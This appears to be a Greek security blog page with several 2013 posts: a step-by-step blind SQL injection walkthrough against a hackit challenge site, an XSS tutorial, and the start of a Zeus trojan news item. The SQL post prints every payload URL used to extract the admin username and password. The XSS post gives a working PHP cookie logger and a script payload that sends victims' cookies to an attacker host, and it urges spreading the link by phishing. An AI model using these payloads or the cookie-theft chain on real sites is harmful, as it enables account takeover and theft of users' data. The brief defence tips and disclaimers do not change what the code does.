!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****

Τρίτη 19 Φεβρουαρίου 2013

Blind SQL injection


Σε προηγούμενο tutorial ασχοληθήκαμε με τυπικές και αρκετά απλές- επιθέσεις SQL injection. Καιρός να μπούμε πλέον, σε λίγο πιο βαθιά νερά!
Όπως θα θυμάστε απ’ όσα είχαμε αναφέρει, κατά τη διάρκεια μίας τυπικής (κυρίως error–based) επίθεσης SQL injection, συνήθως δοκιμάζουμε κάποιες λίγο–πολύ «κλασικές» εντολές SQL στον server που έχουμε ως στόχο. Στην περίπτωση που ο server, μετά τις δοκιμές μας, ανταποκριθεί «θετικά», δηλαδή, εμφανίσει κάποιο μήνυμα λάθους (ή γενικότερα συμπεριφερθεί κάπως μη αναμενόμενα), τότε υπάρχει μεγάλη πιθανότητα να είναι ευπαθής σε SQL injection.
Σίγουρα, έχουν υπάρξει πολλές φορές που ενώ προσπαθούμε να εκτελέσουμε μία τέτοιου είδους επίθεση απέναντι σε έναν στόχο που μας έχουν αναθέσει (είτε σε κάποια δουλειά είτε σε κάποιο διαγωνισμό Capture The Flag κ.λπ.) και παρατηρώντας τη γενικότερη συμπεριφορά του στόχου μας, αντιλαμβανόμαστε ότι όντως «κάτι τρέχει». Όταν, όμως, δοκιμάζουμε ορισμένες απ’ τις κλασικές εντολές SQL, δεν παίρνουμε κάποιο αξιόλογο, κατά την άποψή μας αποτέλεσμα, ώστε να βασιστούμε πάνω του και να συνεχίσουμε την έρευνά μας!

Μήπως, όμως, η λύση βρίσκεται μπροστά μας και απλώς εμείς δεν τη βλέπουμε;

Το τι εννοούμε, θα το καταλάβετε στη συνέχεια. Ένα τέτοιο παράδειγμα αποτελεί και το δεύτερο level μίας σειράς από hackit challenges.
Κάποιος που δεν διαθέτει ιδιαίτερη εμπειρία σε επιθέσεις τέτοιου τύπου και έπειτα από μερικά tests, πιθανώς να πιστέψει ότι η παραπάνω σελίδα δεν πάσχει από κάποια ευπάθεια την οποία θα μπορούσε να την εκμεταλλευτεί με SQL injection. Ίσως, πράγματι με την πρώτη ματιά να φαίνεται έτσι, αλλά πολλές φορές τα φαινόμενα απατούν! Γι αυτό λοιπόν σε αυτό το tutorial θα αναλύσουμε την επίθεση Blind SQL injection.

Λίγη, θεωρία...

Όσοι δεν είχατε ακούσει στο παρελθόν αυτόν το ορισμό, σίγουρα θα έχετε αρχίσει να αναρωτιέστε «μα τι στο καλό είναι αυτό το Blind SQL injection;», καθώς και «τι διαφορά έχει από μία τυπική επίθεση SQL injection;». Ας πάρουμε τα πράγματα με τη σειρά. Κατ’ αρχάς, αξίζει να σημειώσουμε ότι η λογική μίας τυπικής επίθεσης Blind SQL injection δεν διαφέρει σε τίποτε απολύτως από μία απλή επίθεση SQL injection, αφού και στις δύο περιπτώσεις, εκτελώντας εντολές SQL ενάντια σε έναν στόχο, προσπαθούμε να αποσπάσουμε ευαίσθητες πληροφορίες (όπως κωδικοί πρόσβασης, ονόματα χρηστών, e–mails κ.λπ.) μέσα από τη βάση δεδομένων στην οποία επιτιθέμεθα. H ουσιαστική διαφορά είναι στα μηνύματα λάθους που πιθανώς να εμφανίζει ο στόχος μας. Στην περίπτωση της Blind SQL injection, όταν εκτελούμε διάφορες εντολές στο στόχο μας, δεν παίρνουμε κάποια «ουσιαστική» ανταπόκριση. Για παράδειγμα κάποιο όνομα από table, column κ.λπ., όπως στην περίπτωση των προηγούμενων άρθρων. Αντίθετα, αυτό που παίρνουμε, είναι θετικά η αρνητικά responses (ανταποκρίσεις) απ’ το στόχο, με αποτέλεσμα να συνεχίζουμε στα «τυφλά» την επίθεσή μας. Έτσι, ο λόγος που η συγκεκριμένη επίθεση πήρε το όνομα «Blind» (=τυφλή) είναι πλέον μάλλον προφανής.

Συλλέγοντας τα απαραίτητα στοιχεία!

Το πρώτο που θα πρέπει να κάνουμε προτού αρχίσουμε να δοκιμάζουμε διάφορες SQL εντολές απέναντι στο στόχο μας, είναι να ξεκινήσουμε να συλλέγουμε όσο το δυνατό περισσότερα στοιχεία. Στη σελίδα όπου βρισκόμαστε, παρατηρούμε ότι υπάρχει μία απλή εφαρμογή ημερολογίου. Σε μία λίστα (στο πτυσσόμενο μενού) έχουν καταχωριστεί απ’ το διαχειριστή της σελίδας μερικές ημερομηνίες. Ακριβώς δίπλα, υπάρχει ένα κουμπί, «Check!», το οποίο, όταν επιλέξει ο χρήστης κάποια απ’ τις διαθέσιμες ημερομηνίες, εκτελεί έναν έλεγχο σχετικά με το αν έχουν καταχωριστεί ή όχι meetings τη συγκεκριμένη ημερομηνία. Σε περίπτωση που όντως έχει καταχωριστεί κάποιο meeting, θα εμφανιστεί με μεγάλα γράμματα στη σελίδα το ανάλογο μήνυμα, «You ’ve got a meeting!», ενώ αντίστοιχα, αν δεν υπάρχει κάποια καταχώριση, θα εμφανιστεί το «No meeting this day!». Αν ρίχναμε μία ματιά στον source code της σελίδας, μπορούμε να αποκτήσουμε μία πιο σφαιρική άποψη...
1</pre>
2<form action=”level2.php” method=”get”>
3<select name=”date”>
4<option value=”8022010”>08.02.2010</option>
5<option value=”9022010”>09.02.2010</option>
6<option value=”10022010”>10.02.2010</option>
7<option value=”11022010”>11.02.2010</option>
8<option value=”12022010”>12.02.2010</option>
9</select><input type=”submit” value=”Check!”> 

Η μέθοδος που βλέπουμε στην πρώτη σειρά, καθορίζει τον τρόπο με τον οποίο θα σταλούν τα δεδομένα στον server, ώστε στη συνέχεια να τα επεξεργαστεί. Μία μέθοδος μπορεί να πάρει τις τιμές “GET” ή “POST”.
Στην περίπτωσή μας γίνεται χρήση της μεθόδου “GET”. Κατά τη χρήση της μεθόδου “GET”, τα δεδομένα προστίθενται στο τέλος του URL. Αν επιλέξουμε μέσα απ’ τη λίστα την ημερομηνία 12.02.2010 και πατήσουμε το κουμπί Check!, η μεταβλητή “date” θα πάρει την τιμή “12022010” και στη συνέχεια θα κάνει έναν έλεγχο για καταχωρισμένα meetings! Τέλος, θα μας εμφανίσει στη σελίδα, το μήνυμα «You ‘ve got a meeting!». Ας δοκιμάσουμε να «εξετάσουμε» πόσο ασφαλής είναι αυτή η εφαρμογή. Ως γνωστόν, το πρώτο πράγμα που κάνουμε (για να ελέγξουμε αν υπάρχει κάποια ευπάθεια), είναι να εισαγάγουμε στο τέλος του URL ένα μονό εισαγωγικό “ ‘ ” και να παρατηρήσουμε την αντίδραση. Αφού εισαγάγαμε κάτι τέτοιο, διαπιστώνουμε ότι ο στόχος μας αποκρίνεται κάπως «παράξενα», εμφανίζοντας ένα ασυνήθιστο μήνυμα λάθους, το οποίο σαφώς δεν θα έπρεπε να βλέπουμε εμείς.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\\\’’ at line 1

Έτσι αντιλαμβανόμαστε ότι είμαστε σε καλό δρόμο, μια και όντως υπάρχει κάποιο πρόβλημα. Αυτό σημαίνει ότι κατά πάσα πιθανότητα αυτή η εφαρμογή είναι ευπαθής σε SQL Injection. Συγκεκριμένα, η παράμετρος “date” έχει πρόβλημα. Βέβαια, τα προβλήματα ξεκινούν, όταν δοκιμάζουμε να εκτελέσουμε κάτι σαν @@VERSION (ώστε να μας επιστρέψει την έκδοση του SQL server). Δυστυχώς δεν έχουμε κάποιο αποτέλεσμα και γενικά παρατηρούμε ότι δεν «προχωρά» η επίθεσή μας. Σκεφτόμαστε ότι μάλλον είναι μία καλή ευκαιρία να δοκιμάσουμε στην πράξη ένα Blind SQL injection.
Θυμάστε τι σας είχα αναφέρει προηγουμένως σχετικά με τη διαφορά της απλής επίθεσης SQL injection σε σχέση με την Blind SQL injection; Ότι σε μία Blind SQL injection, αυτό που παίρνουμε δεν είναι μηνύματα λάθους, αλλά θετικά ή αρνητικά responses (ανταποκρίσεις) απ’ το στόχο.
Έτσι, θα χρειαστεί κάνουμε χρήση της αληθούς λογικής συνθήκης “and 1=1” στο τέλος του URL, δηλαδή, θα έχουμε αυτό:

Θα δούμε να αναγράφει το μήνυμα, «You ’ve got a meeting!
 

Αυθαίρετα, λοιπόν, ορίζουμε αυτό ως το αληθές μήνυμα που θα χρησιμοποιήσουμε στη συνέχεια. Τι θα γινόταν άραγε, αν κάναμε χρήση μίας συνθήκης η οποία είναι ψευδής; Για να το ανακαλύψουμε, θα πρέπει να αλλάξουμε το αληθές “and 1=1” σε κάτι που ΔΕΝ ισχύει, για να δούμε αν είναι τρωτή η ιστοσελίδα μας ή όχι! Βάζοντας, λοιπόν, στο τέλος του URL το “and 1=2”.

Συνοψίζοντας, λοιπόν, σε γενικές γραμμές, για να δούμε αν μία ιστοσελίδα είναι τρωτή σε Blind SQL injection, κάνουμε αυτό που σας περιγράψαμε παραπάνω. Αν παρατηρήσουμε κάποια αλλαγή, τροποποιώντας τις συνθήκες από αληθείς σε ψευδείς και αντίστροφα, μπορούμε να προχωρήσουμε παρακάτω. Προτού προχωρήσουμε, όμως, στην κυρίως επίθεση, αξίζει να αναφέρουμε ότι όλες οι εντολές θα «δίνονται» παρόμοια, με τον τρόπο που αναφέραμε προηγουμένως. Δηλαδή, δίνουμε εμείς διάφορες συνθήκες και βλέπουμε πώς αντιδρά σε αυτές η σελίδα!

Το πρώτο test μας!

Σε περίπτωση που θέλουμε να ελέγξουμε την έκδοση SQL που «τρέχει» η ιστοσελίδα, βάζουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=4

και παρατηρούμε τι θα μας επιστρέψει η σελίδα! Βλέπουμε ότι μας επέστρεψε το μήνυμα της ψεύδους  συνθήκης! Αυτό σημαίνει η έκδοση SQL ΔΕΝ είναι 4! Άρα, δοκιμάζουμε να αλλάξουμε το 4 σε 5 και να τρέξουμε ξανά την εντολή, με αυτή τη μορφή πλέον:

http://invi.phpnet.us/level2.php?date=12022010 and substring(@@version,1,1)=5

Το μήνυμα που εμφανιζόταν πριν στην ψευδή συνθήκη άλλαξε και αντικαταστάθηκε απ’ το μήνυμα της αληθούς! Αυτό, με απλά λόγια σημαίνει ότι καταφέραμε να ανακαλύψουμε την έκδοση SQL που «τρέχει» η σελίδα! Είναι η 5!

Εξαπολύοντας την επίθεσή μας, αλλά στα τυφλά!

Στην προκειμένη περίπτωση, έχουμε στο χέρι αρκετά στοιχεία. Γνωρίζουμε απ’ την εκφώνηση της άσκησης, “you gotta hack and login as admin (table name is “level2_users”)”, ότι πρέπει να ανακαλύψουμε το συνθηματικό του χρήστη “admin”, καθώς και ότι το table που περιέχει τα στοιχεία που μας ενδιαφέρουν, δηλαδή, usernames και passwords, έχει την ονομασία “level2_users”. Εμείς, όμως, για περισσότερη εξάσκηση, θα σας δείξουμε πώς θα ανακαλύπταμε και το username του χρήστη που μας ενδιέφερε, ακόμη και αν δεν το γνωρίζαμε εξαρχής, όπως στο παράδειγμά μας.
Για να βρούμε, λοιπόν, το πρώτο γράμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα χρειαστεί να εισαγάγουμε την εντολή:


and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=id_του_χρήστη),θέση,1))>γράμμα_σε_ascii.

Για να ανακαλύψουμε το πρώτο γραμμα που αντιστοιχεί στο username του χρήστη που ψάχνουμε, θα πρέπει να τροποποιήσουμε την παραπάνω εντολή ανάλογα με τα ζητούμενά μας. Δηλαδή, αν υποθέσουμε ότι αναζητούμε το πρώτο γράμμα του username του χρήστη με id=1 (συνήθως ο διαχειριστής έχει id=1) θα δώσουμε την εντολή:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>1

Προσοχή: Την τιμή “γράμμα_σε_ascii” την αυξάνουμε ή τη μειώνουμε ανάλογα με τα responses που παίρνουμε απ’ τη σελίδα. Για να το κάνουμε αυτό, ξεκινάμε από μία «χαμηλή» ascii τιμή. Για παράδειγμα, μπορούμε να ξεκινήσουμε απ’ το 30:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>30

Η συνθήκη αυτή θα μας επιστρέψει θετικό response («You ’ve got a meeting!»).Συνεχίζουμε και αυξάνουμε την τιμή “30” με ό,τι ρυθμό θέλουμε (σας προτείνουμε ανά 20 ή 30). Καλό είναι να θυμόμαστε ότι θα αυξάνουμε αυτή την τιμή μέχρι να πάρουμε το μήνυμα της αρνητικής συνθήκης, «No meeting this day!». Μετά αρχίζουμε πάλι να μειώνουμε την τιμή, έως ότου βρούμε την τιμή όπου αλλάζει το μήνυμα από θετικό σε αρνητικό και αντίστροφα.

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),1,1))>97

Έτσι, έπειτα από αρκετές προσπάθειες και αυξομειώσεις της τιμής, ανακαλύψαμε ότι ο χαρακτήρας (σε ascii) που μας ενδιαφέρει, είναι μεγαλύτερος από το 96, αφού όταν βάζουμε “96”, έχουμε θετικό response (εικόνα 3), αλλά όχι μεγαλύτερος από 97, όπου μας επιστρέφει αρνητικό (εικόνα 4) αποτέλεσμα για πρώτη φορά.


Οπότε, συμπεραίνουμε ότι το πρώτο γράμμα είναι το “a”, αφού γνωρίζουμε ότι το 97 σε ascii αντιστοιχεί στο γράμμα “a”. Αντίστοιχα εργαζόμαστε και για τα υπόλοιπα γράμματα του username, μέχρι να συναντήσουμε το σύμβολο “:”, όπου από εκεί και μετά ξεκινά το password.

Προσοχή: Το χαρακτήρα “:”, τον βάλαμε επίτηδες για να καταλάβουμε πού τελειώνει το username και πού ξεκινά το password. Φυσικά, θα μπορούσαμε να είχαμε χρησιμοποιήσει κάποιον άλλο χαρακτήρα

Το 2o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),2,1))>100
“d”

Το 3ο γράμμα :


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),3,1))>109
“m”

Το 4o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),4,1))>105
“i”

Το 5ο γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),5,1))>110
 “n”

Τέρμα με το username! Είναι όντως η λέξη “admin”! Λογικά σκεπτόμενοι, ο επόμενος χαρακτήρας που θα ακολουθήσει, είναι το “:”

Το 6ο γράμμα:



http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),6,1))>58
“:”

Συνεχίζουμε να εργαζόμαστε με τον ίδιο ακριβώς τρόπο, ώστε να βρούμε και το συνθηματικό!


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),7,1))>119
“w”

Το 8o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),8,1))>101
“e”

Το 9o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),9,1))>97
“a”

Το 10o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),10,1))>107
“k”

To 11o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),11,1))>97
“a”
Το 12o γράμμα:

http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),12,1))>100
“d”

Το 13o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),13,1))>109
“m”

Το 14o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),14,1))>105
“i”

Το 15o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),15,1))>110
“n”

Το 16o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),16,1))>112
“p”

Το 17o γράμμα:


http://invi.phpnet.us/level2.php?date=12022010 and ascii(substring((SELECT concat(username,0x3a,password) from level2_users where id=1),17,1))>119
“w”

Παρατηρούμε ότι, δεν υπάρχει επόμενο γράμμα στο password, ώστε να συνεχίσουμε την αναζήτηση μας και να το προσθέσουμε!

Επιτέλους μετά από αρκετή ώρα έρευνας βρίσκουμε τον κωδικό πρόσβασης του διαχειριστή της σελίδας.

Καταφέραμε, τελικά, έπειτα από αρκετές προσπάθειες, να «μαντέψουμε» το password του χρήστη “admin”, το οποίο είναι “weakadminpw”.
Δοκιμάσαμε στη συνέχεια να συνδεθούμε με αυτά τα στοιχεία στο login που υπάρχει στην ίδια σελίδα.
 

Τελικά, ανακαλύψαμε το password του “admin” και συνδεθήκαμε.


ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Σάββατο 16 Φεβρουαρίου 2013

Eπιθέσεις XSS (Cross Site Scripting)

Το XSS ή αλλιώς Cross Site Scripting αποτελεί ένα είδος ευάλωτου σημείου σε μία διαδικτυακή εφαρμογή, κατά το οποίο επιτρέπεται η εισαγωγή κώδικα από κακόβολους χρήστες σε ιστοσελίδες οι οποίες είναι ορατές από άλλους χρήστες. Ο κώδικας αυτός, ο οποίος είναι συνήθως JavaScript, VBScript, ActiveX, HTML, ή ακόμα και Flash, δεν φιλτράρεται από την εφαρμογή, και κατά συνέπεια εκτελείται στο ανοιχτό session του broswer του θύματος.
Τα κομμάτια του κακόβουλου κώδικα βρίσκονται συνήθως στον υπερσύνδεσμο που οδηγεί σε κάποια ιστοσελίδα. Ο χρήστης-θύμα επιλέγει τον σύνδεσμο αυτό, είτε από κάποιο άλλο site, είτε από κάποια εφαρμογή instant messenger είτε στις περισσότερες περιπτώσεις από κάποιο mail (phising).
Ο λόγος που ο τύπος επίθεσης επιτυγχάνει είναι γιατί τα δεδομένα που εισάγονται σε μια εφαρμογή δεν ελέγχονται για τυχόν επικίνδυνα pattern, καθώς επίσης γιατί οι εφαρμογές συνήθως επιστρέφουν στα “τυφλά” αιτήσεις πίσω στον broswer του χρήστη. Το αποτέλεσμα μιας τέτοιας επίθεσης είναι η λεγόμενη “εικονική πειρατεία” (virtual hijacking) του ανοιχτού session, η οποία γίνεται κλέβοντας τα cookies. Ο επιτιθέμενος έχει την δυνατότητα να υποκλέψει και να διαχειριστεί όλα τα δεδομένα που διακινούνται μεταξύ του νόμιμου χρήστη και του server του site.
Ένα παράδειγμα επίθεσης της μεθόδου XSS παρουσιάζεται στην επόμενη εικόνα.

Όπως είναι εμφανές, στη διεύθυνση της ιστοσελίδας έχει προστεθεί κώδικας Javascript, ο οποίος θα εκτελεστεί όταν ο χρήστης επιλέξει την τροποποιημένη διεύθυνση. Το αποτέλεσμα του Javascript του παραδείγματος (εμφάνιση ενός παραθύρου με κάποιο μήνυμα) δεν είναι επιβλαβές, αλλά ένας κακόβουλος χρήστης έχει την ευκαιρία, με την μέθοδο αυτή, να γίνει ιδιαίτερα επικίνδυνος.
Η μέθοδος XSS χρησιμοποιείται συνήθως στα phising email. Ειδικοί εκτιμούν ότι περίπου το 80% των ιστοσελίδων είναι τρωτά σε αυτού του είδους επιθέσεις.
Τώρα δηλαδή είμαστε οι διαχειριστές του σιτε; Εννοείται πως όχι. Αυτό όμως που μπορούμε να κάνουμε είναι 2 πράγματα.

1) Να κλέψουμε τα cookies άλλων χρηστών και να μπούμε με τα cookies τους σαν να είμαστε αυτοί!(η παραπάνω ιστοσελίδα δεν έχει εγγεγραμμένους χρήστες)

2) Να κάνουμε deface την ιστοσελίδα, δλδ να αλλάξουμε την σελίδα με ότι εμείς θέλουμε.

Για να κάνουμε το πρώτο πάμε πολύ απλά στο serchbox του ευπαθές site και γράφουμε τον εξής javascript κώδικα:

<script>alert(document.cookie)</script>.

Τώρα θα μας εμφανίσει ένα παραθυράκι όπως και πριν με τα cookies μας.
Στην καλύτερη περίπτωση βλέπουμε τα δικά μας cookies. Όμως, αν παρατηρήσετε καλά, θα διακρίνετε ότι ο κώδικας javascript εκτελείται και από το URL. Συγκεκριμένα εκτελείται η παρακάτω εντολή:

http://www.victim.COM/results?Search=<script>alert(document.cookie)</script>

Αν η παραπάνω εντολή εκτελεστεί στον internet browser του θύματος, τότε θα εμφανίσει στην οθόνη του τα cookies του. Βέβαια αυτό δεν λέει και τίποτα μιας και αυτός που θα τα δει θα είναι ο ιδιοκτήτης των cookies και όχι εμείς.
Aυτό που μένει να κάνουμε για να επιτύχουμε τον αρχικό σκοπό μας (που είναι να κλέψουμε τα cookies του χρήστη) είναι 2 στόχοι:

  • Να κάνουμε την παραπάνω εντολή να εκτελεστεί στο PC του «θύματος».
  • Να μην δείξουμε τα cookies στην οθόνη του θύματος αλλά να τα καταχωρήσουμε με κάποιο τρόπο κάπου που θα γνωρίζουμε μόνο εμείς, ενώ ο χρήστης «θύμα» δεν θα καταλάβει τίποτα!

Υπάρχουν διάφοροι τρόποι να επιτύχουμε αυτό τον στόχο. Εμείς θα επιλέξουμε αυτόν που χρησιμοποιείται πιο συχνά. Ο τρόπος αυτός λέγεται phishing και είναι αυτός που αναφέραμε στην αρχή του άρθρου. Θα στείλουμε το «κακό» url στο θύμα μας με την μορφή link και θα περιμένουμε να το πατήσει. Όπως θα δούμε παρακάτω, πολλές φορές δεν είναι καν απαραίτητο να «πατήσει» κάπου το θύμα για να την «πατήσει». Μια κίνηση με το ποντίκι είναι αρκετή για να «φάει» στο δόλωμα.
Συνήθως το URL αποστέλλεται με κάποιο mail ή εισάγεται σαν link σε κάποιον server που ο επιτιθέμενος έχει πρόσβαση. Από τη στιγμή που θα μπει το «δόλωμα» στην «πετονιά», το μόνο που χρειάζεται από τον επιτιθέμενο είναι να περιμένει. Σας διαβεβαιώνουμε ότι θύματα θα βρεθούνε πάρα πολλά! Ανεξαρτήτου ηλικίας ή γνώσεων. Το αποτέλεσμα είναι πραγματικά εντυπωσιακό όσο αφορά στην ευκολία που μπορεί κάποιος να την «πατήσει».
Αυτό που θέλουμε να κάνει το URL είναι να στείλει το θύμα σε ένα link το οποίο θα του «κλέψει» τα cookies. Μπορούμε να χρησιμοποιήσουμε javascript μέσω XSS (όπως είδαμε παραπάνω) για να στείλουμε τον χρήστη σε ένα τέτοιο link (redirection). Υπάρχουν πολλοί τρόποι να συντάξουμε το «κακό» XSS που θα υλοποιεί το redirection. Ο πιο επιτυχημένος τρόπος είναι ο παρακάτω.

Α) Δημιουργούμε ένα αρχείο με το όνομα cookie.php και εισάγουμε τον παρακάτω κώδικα:
<?php
$cookie = $_GET['c'];
$ip = getenv (’REMOTE_ADDR’);
$date=date(”j F, Y, g:i a”);;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Ti
me: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header (”Location: http://www.test.com”);
?>
Το αρχείο cookie.php το ανεβάζουμε σε κάποιο host site που έχουμε. Φυσικά στην προτελευταία σειρά τοποθετούμε την διεύθυνση του host μας αντί για test.com.

Β) Δημιουργούμε ένα νέο thread στο ευάλωτο φόρουμ και πληκτρολογούμε το ακόλουθο:

<script>document.location=”http://www.myhost.com/cookie.php?c=” + document.cookies</script>

Φυσικά στο myhost.com βάζουμε το δικό μας host έτσι ώστε τα cookies να έρθουν στο δικό μας host. Τώρα όταν κάποιο μέλος του site ή του forum ανοίξει το thread τα cookies του θα σταλούν στο:

http://www.myhost.com/cookie.html

Οπότε έχοντας το cookie και σε συνδοιασμό με το πρόγραμμα Cain ή κάποιο άλλο cookie decoder θα μπορέσουμε να αποκρυπτογραφήσουμε το cookie για να βρούμε το password.

Τρόποι προφύλαξης


Τρόποι προφύλαξης υπάρχουν αρκετοί, αρκεί να είσαστε υποψιασμένοι. Ο μεγαλύτερος κίνδυνος είναι η άγνοια και η αφηρημάδα. Αν ξεπεράσετε αυτά τα εμπόδια μένουν λίγα βασικά πράγματα που πρέπει να κάνετε:

1. Κοιτάτε πάντα σε τι link οδηγούν αυτά που σας στέλνουν. Αυτό πολλές φορές (όπως είδαμε) δεν είναι αρκετό, αλλά είναι ένα μικρός τρόπος προφύλαξης.

2. Έχετε πάντα ενεργοποιημένους «μηχανισμούς» antiphishing (ο IE7 το παρέχει build-in).

3. Έχετε πάντα ενεργοποιημένους «μηχανισμούς» που δεν επιτρέπουν εκτέλεση κώδικα Java-Script. Για παράδειγμα το AddIn του firefox NoScript το οποίο έχει και ενσωματωμένο μηχανισμό anti-XSS!

4. Για να είστε σίγουροι, χρησιμοποιείτε παραπάνω του ενός internet browsers. Στον ένα θα έχετε τα "ευαίσθητα" δεδομένα σας με τα cookies τους και όλα τα καλά..., και στον άλλον θα δοκιμάζετε τα "περίεργα" Links.

5. Αν για κάτι δεν είστε σίγουροι κάντε clear cookies και μετά εκτελέστε το περίεργο link.

6. Ποτέ μα ποτέ μην αναφέρετε passwords ή άλλα ευαίσθητα δεδομένα, σε e-mails. Ποτέ καμία τράπεζα δεν πρόκειται να σας ζητήσει με mail το PIN σας ή κάποιο άλλο προσωπικό σας στοιχείο! Αν λάβετε ποτέ τέτοια e-mails μπορείτε να τα καταγγείλετε στην Δίωξη Ηλεκτρονικού Εγκλήματος και φυσικά να μπλοκάρετε την διεύθυνση που σας έστειλε το mail.

Συμπεράσματα


Το όλο σκηνικό που περιγράψαμε είναι απόλυτα πραγματικό και συνέβη σε κάποιον πραγματικό server. O λόγος που επιλέξαμε αυτήν την προσέγγιση είναι για να μπορέσετε να καταλάβετε τον τρόπο που λειτουργούν οι απλοί απατεώνες (του κοινού ποινικού δικαίου) για να σας κάνουν να τους δώσετε (χωρίς να το θέλετε) τα στοιχεία σας.
Εμείς κάναμε τις δοκιμές μας σε ένα site εύρεσης εργασίας. Τα πράγματα γίνονται πάρα πολύ πιο σοβαρά όταν πρόκειται για sites τραπεζών ή οπουδήποτε φυλάσσονται προσωπικά ή οικονομικά στοιχεία. Όλοι όσοι ισχυρίζονται οτι το XSS είναι ουσιαστικά ακίνδυνο και δεν αποτελεί πραγματικό πρόβλημα ασφάλειας, θα τους παρακαλούσαμε να το ξανασκεφτούν. Εάν δεν το καταλαβαίνουν όμως, τουλάχιστον ας μην το αναφέρουν δεξιά αριστερά ξεγελώντας πολλές φορές (χωρίς να το θέλουν;) ανθρώπους που δεν γνωρίζουν.
Η ηλεκτρονική απάτη δεν διαφέρει σε τίποτα από οποιαδήποτε άλλη απάτη, όπως και ο ηλεκτρονικός κλέφτης δεν διαφέρει σε τίποτα από τον κοινό διαρρήκτη ή απατεώνα του δρόμου! Ο στόχος μας ήτανε και είναι πάντα να σας μάθουμε πως σκέφτονται και πως κινούνται αυτοί ώστε να είσαστε υποψιασμένοι!

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Κυριακή 10 Φεβρουαρίου 2013

Trojan Zeus: O ανθεκτικότερος ιός όλων των εποχών

Ο γνωστός σε όλους μας πλέον ηλεκτρονικός ιός Trοjan Zeus έρχεται πιο ανανεωμένος και επικίνδυνος. Ο Zeus ήταν ο λόγος που πολλοί ειδικοί ασφάλειας έχασαν τον ύπνο τους προσπαθώντας να τον καταπολεμήσουν και να επιδιορθώσουν τις ευπάθειες που εκμεταλλευόταν. Από ότι φαίνεται όμως λίγοι τα κατάφεραν, καθώς ο ιός επιστρέφει και πάλι με ανανεωμένη έκδοση (Trojan – Zeus 2.1).
Ο Trojan – Zeus 2.1 αποτελεί ένα πολύ καλά δομημένο κακόβουλο λογισμικό, ικανό να παραβιάσει πληροφοριακές υποδομές και να εκμαιεύσει εμπιστευτικά δεδομένα «κάτω από τη μύτη» σχεδόν των περισσότερων λογισμικών ασφάλειας.
